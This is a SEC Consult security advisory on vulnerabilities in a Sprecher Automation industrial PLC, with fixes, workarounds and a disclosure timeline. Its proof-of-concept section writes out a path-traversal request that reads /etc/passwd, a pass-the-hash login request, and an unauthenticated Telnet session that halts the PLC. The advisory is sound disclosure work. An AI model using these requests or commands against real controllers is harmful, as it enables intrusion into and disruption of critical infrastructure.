SEC Consult SA-20180131-0 :: Multiple Vulnerabilities in Sprecher Automation SPRECON-E-C, PU-2433

### VENDOR DESCRIPTION “Sprecher Automation GmbH offers switchgears and automation solutions for energy, industry and infrastructure processes. Our customers are power utilities, industries, transportation companies, municipal utilities and public institutions. Company-own developments and cooperations with technology partners lead to a unique product portfolio consisting of traditional electrical technologies as well as high-tech electronics.” Source: https://www.sprecher-automation.com/en/ ### BUSINESS RECOMMENDATION SEC Consult recommends to immediately patch the systems and follow the hardening guide provided by the vendor (SEC Consult did not have access to the hardening guide in order to review it). A thorough security review should be performed by security professionals as further security issues might exist within the product. ### VULNERABILITY OVERVIEW AND DESCRIPTION #### 1) Authenticated Path Traversal Vulnerability The web interface of the Sprecher PLC suffers from a path traversal vulnerability. A user which is authenticated on the web interface, which is intended as read-only interface, can download files with the permissions of the webserver (www-data). Files like “/etc/shadow” are not readable for the webserver. #### 2) Client-Side Password Hashing The password hashes which are stored on the system can be directly used to authenticate on the web interface (pass-the-hash) since the password is hashed in the browser of the user during login. #### 3) Missing Authentication The PLC exposes a Telnet management service on TCP port 2048. This interface can be used to control the PLC and does not require any authentication. #### 4) Permanent Denial of Service via Portscan An aggressive TCP SYN scan on a large amount of ports triggers a denial of service of the PLC service. This results in an persistent DoS of the standby PLC in an active – standby pair. Manual operator intervention is required to restore service availability. #### 5) Outdated Linux Kernel An ancient Linux kernel version with a high number of known security weaknesses is used for the PLC base operating system. ### PROOF OF CONCEPT #### 1) Authenticated Path Traversal Vulnerability Reading “passwd” is possible by triggering the following request: ``` GET /webserver/cgi-bin/spre.cgi?4_1=../../../../../../../etc/passwd HTTP/1.1 Host: <IP-Address> Cookie: sid=<SESSION-ID> Connection: close Upgrade-Insecure-Requests: 1 The file is directly fetched from the system: root:x:0:0:root:/root:/bin/sh daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:100:sync:/bin:/bin/sync mail:x:8:8:mail:/var/spool/mail:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh operator:x:37:37:Operator:/var:/bin/sh haldaemon:x:68:68:hald:/:/bin/sh dbus:x:81:81:dbus:/var/run/dbus:/bin/sh nobody:x:99:99:nobody:/home:/bin/sh sshd:x:103:99:Operator:/var:/bin/sh [...] ``` #### 2) Client-Side Password Hashing The passwords are hashed in JavaScript before they are transmitted to the device. Therefore the hash is as good as the password. The following request shows a login process: ``` POST /webserver/cgi-bin/spre.cgi HTTP/1.1 Host: <IP-Address> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: application/json Accept-Language: de Content-Type: application/x-www-form-urlencoded If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT Referer: http://<IP-Address>/Webserver.html?locale=de Content-Length: 57 Connection: close cgi_time&user=admin&pswd=<md5-hash> ``` #### 3) Missing Authentication An administrative interface was presented after connecting to port 2048 via Telnet: ``` $ telnet <IP-Address> 2048 100 OK: Portable IEC 61131-3 RT Scheduler for Linux (RTK) $Revision: 1.17 $ Scheduling mode: application timer/timer-tick preserving Copyright (c) kirchner SOFT GmbH 1994-2002. All rights reserved. HELP 104 OK: Portable IEC 61131-3 RT Scheduler for Linux (RTK) $Revision: 1.17 $ Scheduling mode: application timer/timer-tick preserving Copyright (c) kirchner SOFT GmbH 1994-2002. All rights reserved. HELP, ? .......................... show this help QUIT, EXIT ....................... quit command session STOP ............................. stop execution CONT [TASK|EP] <id> .............. continue execution STRT ............................. start system REST ............................. restart system if breaked HALT ............................. quit scheduler SHOW [TASKS|SCHED|REVISIONS] ..... show information SHOW [BREAKPOINTS] ............... show breakpoint list EXEC <TASK> <id> ................. execute a task EXEC_MS <ms> [flags] ............. execute code for a specific time EXEC_CYCLES <no> [flags] ......... execute code for cycles STEP TASK <id> <INTO|OVER|OUT> ... single step (task) STEP EP <id> <INTO|OVER|OUT> ..... single step (task of EP) ADD_BREAKPOINT <bp> .............. add breakpoint DELETE_BREAKPOINT <bp|ALL> ....... delete breakpoints ENABLE_BREAKPOINT <bp|ALL> ....... enable breakpoints DISABLE_BREAKPOINT <bp|ALL> ...... disable breakpoints READ <variable> .................. read variable as string READ_LONG <variable> ............. read variable as long READ_DOUBLE <variable> ........... read variable as double WRITE <variable> <value> ......... write variable with string const. WRITE_LONG <variable> <value> .... write variable with long value WRITE_DOUBLE <variable> <value> .. write variable with double value GET_LONGNAME <variable> .......... get variable information GET_TYPENAME <variable> .......... get variable information CHECK_VAR <variable> ............. check if variable exists USER name ........................ identify user PASS pw .......................... authenticate with password BIN .............................. switch to binary protocol mode The PLC can be restarted with the “HALT” command (PLC returns after about 30 seconds): HALT 200 OK: shutting down application tasks 201 OK: waiting for application tasks 202 OK: shutting down system Connection closed by foreign host. ``` #### 4) Permanent Denial of Service via Portscan An aggressive portscan triggered a persistent denial of service of the standby PLC in an active – standby setup. #### 5) Outdated Linux Kernel By using the path traversal vulnerability (1) the Linux kernel version has been retrieved: ``` Linux version 2.6.20-sp16 (kd@jeannie) (gcc version 4.4.6 (Buildroot 2011.05)) #1 PREEMPT Mon Feb 29 12:06:28 CET 2016 ``` ### VULNERABLE VERSIONS The following versions are affected by the identified vulnerabilities: * Authenticated Path Traversal Vulnerability * all versions < 8.49 * Client-Side Password Hashing * all versions < 8.49 * Missing Authentication * all versions * Permanent Denial of Service via Portscan * all versions * Outdated Linux Kernel * all versions < 8.49 ### VENDOR CONTACT TIMELINE * 2017-09-22: Requesting vendor security contact and encryption keys * 2017-09-25: Vendor provides S/MIME certificate for encryption * 2017-09-25: Advisory is submitted to the vendor * 2017-09-25: Call with vendor contact. Contact states that the vulnerabilities are known and fixed in different newer firmware versions. Contact will provide a list of firmware versions with the fixes. * 2017-10-02: Requesting update. * 2017-10-02: Vendor states they will provide feedback by the following week. * 2017-10-12: SEC Consult sends reminder for requested information. * 2017-10-13: Vendor states they will provide missing information until 2017-10-20. * 2017-10-20: Vendor requested some more time (2017-11-03) to prepare hardening guide to be linked in advisory. * 2017-11-03: Vendor provides affected and fixed versions, workaround information and reference to hardening guideline * 2018-01-29: Vendor provides an update regarding the hardening guide document ID. It was changed to from 94.2.915.95 to 94.2.913.50. * 2018-01-30: Vendor requested changes for the “passwd” file in the advisory. Removed the vendor-specific user accounts in the PoC. * 2018-01-31: Coordinated public release. ### SOLUTION * Authenticated Path Traversal Vulnerability * Fixed in version 8.49 (available since 2016-05-13) * Client-Side Password Hashing * Fixed in version 8.49 (available since 2016-05-13) * Missing Authentication * see workaround * Permanent Denial of Service via Portscan * see workaround * Outdated Linux Kernel * Fixed in version 8.49 (available since 2016-05-13) ### WORKAROUND #### 1) Authenticated Path Traversal Vulnerability As a workaround, if a firmware update is not feasible due to operational constraints, the webserver can be deactivated. The webserver is not necessary for operation, as all maintenance can be done via the SPRECON-E service program. #### 2) Client-Side Password Hashing see (1) #### 3) Missing Authentication Remote debugging of the Software-PLC is possible via the “secure service channel” instead of this Telnet service. The optional Telnet service can be disabled to mitigate this vulnerability. (According to the vendor it is disabled by default.) See the vendor’s hardening guideline available for all registered customers: https://download.sprecher-automation.com/de/login (document ID 94.2.913.50). #### 4) Permanent Denial of Service via Portscan According to the vendor the denial of service via portscan can be mitigated using the packet filter. See the vendor’s hardening guideline available for all registered customers: https://download.sprecher-automation.com/de/login (document ID 94.2.913.50). #### 5) Outdated Linux Kernel no workaround available